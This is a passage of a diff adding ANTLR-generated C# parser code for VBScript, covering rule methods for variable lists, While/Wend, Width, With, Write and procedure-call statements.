(typedListener != null) typedListener.EnterVariableListStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVariableListStmt(this); + } + } + + [RuleVersion(0)] + public VariableListStmtContext variableListStmt() { + VariableListStmtContext _localctx = new VariableListStmtContext(Context, State); + EnterRule(_localctx, 238, RULE_variableListStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2580; + variableSubStmt(); + State = 2591; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,421,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 2582; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2581; + Match(WS); + } + } + + State = 2584; + Match(COMMA); + State = 2586; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2585; + Match(WS); + } + } + + State = 2588; + variableSubStmt(); + } + } + } + State = 2593; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,421,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class VariableSubStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AsTypeClauseContext asTypeClause() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SubscriptsContext subscripts() { + return GetRuleContext(0); + } + public VariableSubStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_variableSubStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVariableSubStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVariableSubStmt(this); + } + } + + [RuleVersion(0)] + public VariableSubStmtContext variableSubStmt() { + VariableSubStmtContext _localctx = new VariableSubStmtContext(Context, State); + EnterRule(_localctx, 240, RULE_variableSubStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2594; + ambiguousIdentifier(); + State = 2596; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,422,Context) ) { + case 1: + { + State = 2595; + typeHint(); + } + break; + } + State = 2615; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,428,Context) ) { + case 1: + { + State = 2599; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2598; + Match(WS); + } + } + + State = 2601; + Match(LPAREN); + State = 2603; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,424,Context) ) { + case 1: + { + State = 2602; + Match(WS); + } + break; + } + State = 2609; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & 9007304807790147582L) != 0) || ((((_la - 68)) & ~0x3f) == 0 && ((1L << (_la - 68)) & -8087550153692545025L) != 0) || ((((_la - 132)) & ~0x3f) == 0 && ((1L << (_la - 132)) & -9042665101823311905L) != 0) || ((((_la - 197)) & ~0x3f) == 0 && ((1L << (_la - 197)) & 70248481L) != 0)) { + { + State = 2605; + subscripts(); + State = 2607; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2606; + Match(WS); + } + } + + } + } + + State = 2611; + Match(RPAREN); + State = 2613; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,427,Context) ) { + case 1: + { + State = 2612; + Match(WS); + } + break; + } + } + break; + } + State = 2619; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,429,Context) ) { + case 1: + { + State = 2617; + Match(WS); + State = 2618; + asTypeClause(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class WhileWendStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WHILE() { return GetToken(VBScriptParser.WHILE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WEND() { return GetToken(VBScriptParser.WEND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext[] block() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public WhileWendStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_whileWendStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterWhileWendStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitWhileWendStmt(this); + } + } + + [RuleVersion(0)] + public WhileWendStmtContext whileWendStmt() { + WhileWendStmtContext _localctx = new WhileWendStmtContext(Context, State); + EnterRule(_localctx, 242, RULE_whileWendStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2621; + Match(WHILE); + State = 2622; + Match(WS); + State = 2623; + valueStmt(0); + State = 2625; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 2624; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 2627; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,430,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 2632; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,431,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 2629; + block(); + } + } + } + State = 2634; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,431,Context); + } + State = 2638; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==NEWLINE || _la==INLINE_SEP) { + { + { + State = 2635; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 2640; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 2641; + Match(WEND); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class WidthStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WIDTH() { return GetToken(VBScriptParser.WIDTH, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + public WidthStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_widthStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterWidthStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitWidthStmt(this); + } + } + + [RuleVersion(0)] + public WidthStmtContext widthStmt() { + WidthStmtContext _localctx = new WidthStmtContext(Context, State); + EnterRule(_localctx, 244, RULE_widthStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2643; + Match(WIDTH); + State = 2644; + Match(WS); + State = 2645; + valueStmt(0); + State = 2647; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2646; + Match(WS); + } + } + + State = 2649; + Match(COMMA); + State = 2651; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,434,Context) ) { + case 1: + { + State = 2650; + Match(WS); + } + break; + } + State = 2653; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class WithStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WITH() { return GetToken(VBScriptParser.WITH, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_WITH() { return GetToken(VBScriptParser.END_WITH, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEW() { return GetToken(VBScriptParser.NEW, 0); } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public WithStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_withStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterWithStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitWithStmt(this); + } + } + + [RuleVersion(0)] + public WithStmtContext withStmt() { + WithStmtContext _localctx = new WithStmtContext(Context, State); + EnterRule(_localctx, 246, RULE_withStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2655; + Match(WITH); + State = 2656; + Match(WS); + State = 2659; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,435,Context) ) { + case 1: + { + State = 2657; + Match(NEW); + State = 2658; + Match(WS); + } + break; + } + State = 2661; + implicitCallStmt_InStmt(); + State = 2663; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 2662; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 2665; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,436,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 2673; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -270216225676591105L) != 0) || ((((_la - 131)) & ~0x3f) == 0 && ((1L << (_la - 131)) & 361413870062927807L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 2667; + block(); + State = 2669; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 2668; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 2671; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + } + + State = 2675; + Match(END_WITH); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class WriteStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WRITE() { return GetToken(VBScriptParser.WRITE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + [System.Diagnostics.DebuggerNonUserCode] public OutputListContext outputList() { + return GetRuleContext(0); + } + public WriteStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_writeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterWriteStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitWriteStmt(this); + } + } + + [RuleVersion(0)] + public WriteStmtContext writeStmt() { + WriteStmtContext _localctx = new WriteStmtContext(Context, State); + EnterRule(_localctx, 248, RULE_writeStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2677; + Match(WRITE); + State = 2678; + Match(WS); + State = 2679; + valueStmt(0); + State = 2681; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2680; + Match(WS); + } + } + + State = 2683; + Match(COMMA); + State = 2688; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,441,Context) ) { + case 1: + { + State = 2685; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,440,Context) ) { + case 1: + { + State = 2684; + Match(WS); + } + break; + } + State = 2687; + outputList(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ExplicitCallStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ECS_MemberProcedureCallContext eCS_MemberProcedureCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ECS_ProcedureCallContext eCS_ProcedureCall() { + return GetRuleContext(0); + } + public ExplicitCallStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_explicitCallStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterExplicitCallStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitExplicitCallStmt(this); + } + } + + [RuleVersion(0)] + public ExplicitCallStmtContext explicitCallStmt() { + ExplicitCallStmtContext _localctx = new ExplicitCallStmtContext(Context, State); + EnterRule(_localctx, 250, RULE_explicitCallStmt); + try { + State = 2692; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,442,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 2690; + eCS_MemberProcedureCall(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 2691; + eCS_ProcedureCall(); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ECS_ProcedureCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CALL() { return GetToken(VBScriptParser.CALL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgsCallContext argsCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + public ECS_ProcedureCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_eCS_ProcedureCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterECS_ProcedureCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitECS_ProcedureCall(this); + } + } + + [RuleVersion(0)] + public ECS_ProcedureCallContext eCS_ProcedureCall() { + ECS_ProcedureCallContext _localctx = new ECS_ProcedureCallContext(Context, State); + EnterRule(_localctx, 252, RULE_eCS_ProcedureCall); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2694; + Match(CALL); + State = 2695; + Match(WS); + State = 2696; + ambiguousIdentifier(); + State = 2698; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,443,Context) ) { + case 1: + { + State = 2697; + typeHint(); + } + break; + } + State = 2713; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,447,Context) ) { + case 1: + { + State = 2701; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2700; + Match(WS); + } + } + + State = 2703; + Match(LPAREN); + State = 2705; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,445,Context) ) { + case 1: + { + State = 2704; + Match(WS); + } + break; + } + State = 2707; + argsCall(); + State = 2709; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2708; + Match(WS); + } + } + + State = 2711; + Match(RPAREN); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ECS_MemberProcedureCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CALL() { return GetToken(VBScriptParser.CALL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOT() { return GetToken(VBScriptParser.DOT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgsCallContext argsCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + public ECS_MemberProcedureCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_eCS_MemberProcedureCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterECS_MemberProcedureCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitECS_MemberProcedureCall(this); + } + } + + [RuleVersion(0)] + public ECS_MemberProcedureCallContext eCS_MemberProcedureCall() { + ECS_MemberProcedureCallContext _localctx = new ECS_MemberProcedureCallContext(Context, State); + EnterRule(_localctx, 254, RULE_eCS_MemberProcedureCall); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2715; + Match(CALL); + State = 2716; + Match(WS); + State = 2718; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,448,Context) ) { + case 1: + { + State = 2717; + implicitCallStmt_InStmt(); + } + break; + } + State = 2720; + Match(DOT); + State = 2722; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2721; + Match(WS); + } + } + + State = 2724; + ambiguousIdentifier(); + State = 2726; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,450,Context) ) { + case 1: + { + State = 2725; + typeHint(); + } + break; + } + State = 2741; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,454,Context) ) { + case 1: + { + State = 2729; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2728; + Match(WS); + } + } + + State = 2731; + Match(LPAREN); + State = 2733; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,452,Context) ) { + case 1: + { + State = 2732; + Match(WS); + } + break; + } + State = 2735; + argsCall(); + State = 2737; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2736; + Match(WS); + } + } + + State = 2739; + Match(RPAREN); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ImplicitCallStmt_InBlockContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ICS_B_MemberProcedureCallContext iCS_B_MemberProcedureCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_B_ProcedureCallContext iCS_B_ProcedureCall() { + return GetRuleContext(0); + } + public ImplicitCallStmt_InBlockContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_implicitCallStmt_InBlock; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterImplicitCallStmt_InBlock(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitImplicitCallStmt_InBlock(this); + } + } + + [RuleVersion(0)] + public ImplicitCallStmt_InBlockContext implicitCallStmt_InBlock() { + ImplicitCallStmt_InBlockContext _localctx = new ImplicitCallStmt_InBlockContext(Context, State); + EnterRule(_localctx, 256, RULE_implicitCallStmt_InBlock); + try { + State = 2745; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,455,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 2743; + iCS_B_MemberProcedureCall(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 2744; + iCS_B_ProcedureCall(); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class NoParenthesisArgsContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgsCallContext argsCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SEMICOLON() { return GetToken(VBScriptParser.SEMICOLON, 0); } + [System.Diagnostics.DebuggerNonUserCode] public DelimitedLiteralContext delimitedLiteral() { + return GetRuleContext(0); + } + public NoParenthesisArgsContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_noParenthesisArgs; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterNoParenthesisArgs(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitNoParenthesisArgs(this); + } + } + + [RuleVersion(0)] + public NoParenthesisArgsContext noParenthesisArgs() { + NoParenthesisArgsContext _localctx = new NoParenthesisArgsContext(Context, State); + EnterRule(_localctx, 258, RULE_noParenthesisArgs); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2758; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,459,Context) ) { + case 1: + { + { + State = 2748; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 210)) & ~0x3f) == 0 && ((1L << (_la - 210)) & 71L) != 0)) { + { + State = 2747; + delimitedLiteral(); + } + } + + State = 2751; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2750; + Match(WS); + } + } + + State = 2753; + _la = TokenStream.LA(1); + if ( !(_la==COMMA || _la==SEMICOLON) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 2755; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,458,Context) ) { + case 1: + { + State = 2754; + Match(WS); + } + break; + } + } + } + break; + case 2: + { + State = 2757; + Match(WS); + } + break; + } + State = 2761; + ErrorHandler.Sync(this); + switch ( 